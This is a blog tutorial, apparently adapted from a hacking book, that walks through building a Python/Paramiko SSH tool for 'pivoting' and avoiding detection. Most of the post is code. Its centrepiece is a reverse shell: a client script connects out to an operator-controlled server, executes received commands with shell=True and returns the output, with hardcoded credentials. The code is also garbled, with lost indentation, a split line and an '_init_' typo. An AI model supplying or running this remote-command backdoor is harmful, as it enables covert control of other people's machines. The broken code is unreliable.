December 5, 2022
How To Make Your Own Encrypted SSH Tool With Python

How To Make Your Own Encrypted SSH Tool With Python

What Is SSh

Secure Shell is a cryptographic network protocol for operating network services securely over an unsecured network. Typical applications include remote command-line, login, and remote command execution, but any network service can be secured with SSH

What Will We Get From This Program

This program creates an SSH server that our SSH client (where we want to run commands) connects to. This could be a Linux, Windows, or even OS X system that has Python and Paramiko installed.

Accessing SSH From Python

Pivoting with BHNET is pretty handy, but sometimes it’s wise to encrypt your traffic to avoid detection. A common means of doing so is to tunnel the traffic using Secure Shell (SSH). But what if your target doesn’t have an SSH client (like 99.81943 percent of Windows systems)?

While there are great SSH clients available for Windows, like Putty, this is a book about Python. In Python, you could use raw sockets and some crypto magic to create your own SSH client or server—but why create when you can reuse? Paramiko using PyCrypto gives you simple access to the SSH2 protocol.


To learn about how this library works, we’ll use Paramiko to make a connection and run a command on an SSH system, configure an SSH server and SSH client to run remote commands on a Windows machine, and finally puzzle out the reverse tunnel demo file included with Paramiko to duplicate the proxy option of BHNET. Let’s begin.


First, grab Paramiko using pip installer

pip install paramiko

We’ll use some of the demo files later, so make sure you download them from the Paramiko website as well.
Create a new file called bh_sshcmd.py and enter the following:

import threading
import paramiko
import subprocess
 def ssh_command(ip, user, passwd, command): 
 client = paramiko.SSHClient()

This is a fairly straightforward program. We create a function called ssh_command, which makes a connection to an SSH server and runs a single command.

#client.load_host_keys('/home/justin/.ssh/known_hosts')

Notice that Paramiko supports authentication with keys instead of (or in addition to) password authentication. Using SSH key authentication is strongly recommended on a real engagement, but for ease of use in this example, we’ll stick with the traditional username and password authentication.

client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
 client.connect(ip, username=user, password=passwd)
 ssh_session = client.get_transport().open_session()

Because we’re controlling both ends of this connection, we set the policy to accept the SSH key for the SSH server we’re connecting to and make the connection.

if ssh_session.active: 
 ssh_session.exec_command(command) 
 print ssh_session.recv(1024)
 return 
ssh_command('192.168.100.131', 'thedarktech','lovesthepython','id')

Finally, assuming the connection is made, we run the command that we passed along in the call to the ssh_command function in our example the command id.


Let’s run a quick test by connecting to our Linux server:

C:\tmp> python bh_sshcmd.py
Uid=1000(thedarktech) gid=1001(thedarktech) groups=1001(thedarktech)

You’ll see that it connects and then runs the command. You can easily modify this script to run multiple commands on an SSH server or run commands on multiple SSH servers.
So with the basics done, let’s modify our script to support running commands on our Windows client over SSH. Of course, normally when using SSH, you use an SSH client to connect to an SSH server, but because Windows doesn’t include an SSH server out-of-the-box, we need to reverse this and send commands from our SSH server to the SSH client.


Create a new file called bh_sshRcmd.py and enter the following

import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command): 
 client = paramiko.SSHClient()
 #client.load_host_keys('/home/justin/.ssh/known_hosts') 
 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 client.connect(ip, username=user, password=passwd)
 ssh_session = client.get_transport().open_session()
 if ssh_session.active:
 ssh_session.send(command)
 print ssh_session.recv(1024)#read banner
 while True:
 command = ssh_session.recv(1024) #get the command from the SSH ¬ 
 server
 try:
 cmd_output = subprocess.check_output(command, shell=True)
 ssh_session.send(cmd_output)
 except Exception,e:
 ssh_session.send(str(e))
 client.close()
 return 
ssh_command('192.168.100.130', 'thedarktech', 'lovesthepython','ClientConnected')

The first few lines are like our last program and the new stuff starts in the while True: loop. Also notice that the first command we send is ClientConnected. You’ll see why when we create the other end of the SSH connection.


Now create a new file called bh_sshserver.py and enter the following:

import socket
import paramiko
import threading
import sys
# using the key from the Paramiko demo files 
 host_key = paramiko.RSAKey(filename='test_rsa.key')

This program creates an SSH server that our SSH client (where we want to run commands) connects to. This could be a Linux, Windows, or even OS X system that has Python and Paramiko installed.

For this example, we’re using the SSH key included in the Paramiko demo files.

class Server (paramiko.ServerInterface): 
 def _init_(self):
 self.event = threading.Event()
 def check_channel_request(self, kind, chanid):
 if kind == 'session':
 return paramiko.OPEN_SUCCEEDED
 return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
 def check_auth_password(self, username, password):
 if (username == 'thedarktech') and (password == 'lovesthepython'):
 return paramiko.AUTH_SUCCESSFUL
 return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
 try: 
 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 sock.bind((server, ssh_port))
 sock.listen(100)
 print '[+] Listening for connection ...'
 client, addr = sock.accept()
except Exception, e:
 print '[-] Listen failed: ' + str(e)
 sys.exit(1)
print '[+] Got a connection!'
 try: 
 bhSession = paramiko.Transport(client)
 bhSession.add_server_key(host_key)
 server = Server()
 try:
 bhSession.start_server(server=server)
 except paramiko.SSHException, x:
 print '[-] SSH negotiation failed.'
 chan = bhSession.accept(20)

We start a socket listener, just like we did earlier in the chapter, and then SSHinize it and configure the authentication methods.

print '[+] Authenticated!' 
 print chan.recv(1024)
 chan.send('Welcome to bh_ssh')
 while True: 
 try:
 command= raw_input("Enter command: ").strip('\n')
 if command != 'exit':
chan.send(command)
 print chan.recv(1024) + '\n'
 else:
 chan.send('exit')
 print 'exiting'
 bhSession.close()
 raise Exception ('exit')
 except KeyboardInterrupt:
 bhSession.close()
except Exception, e:
 print '[-] Caught exception: ' + str(e)
 try:
 bhSession.close()
 except:
 pass
 sys.exit(1)

When a client has authenticated and sent us the ClientConnected message, any command we type into the bh_sshserver is sent to the bh_sshclient anexecuted on the bh_sshclient, and the output is returned to bh_sshserver.

Now Let’s Test Our Code

For the demo, I’ll run both the server and the client on my Windows
machine

You can see that the process starts by setting up our SSH server and then connecting from our client. The client is successfully connected and we run a command. We don’t see anything in the SSH client, but the command we sent is executed on the client  and the output is sent to our SSH server.

Also Check How To Build A TCP Proxy With Python | For Hackers

Also Check Relpacing Most Favourite Tool Of Hackers Netcat With Python

1 thought on “How To Make Your Own Encrypted SSH Tool With Python

Leave a Reply

Your email address will not be published. Required fields are marked *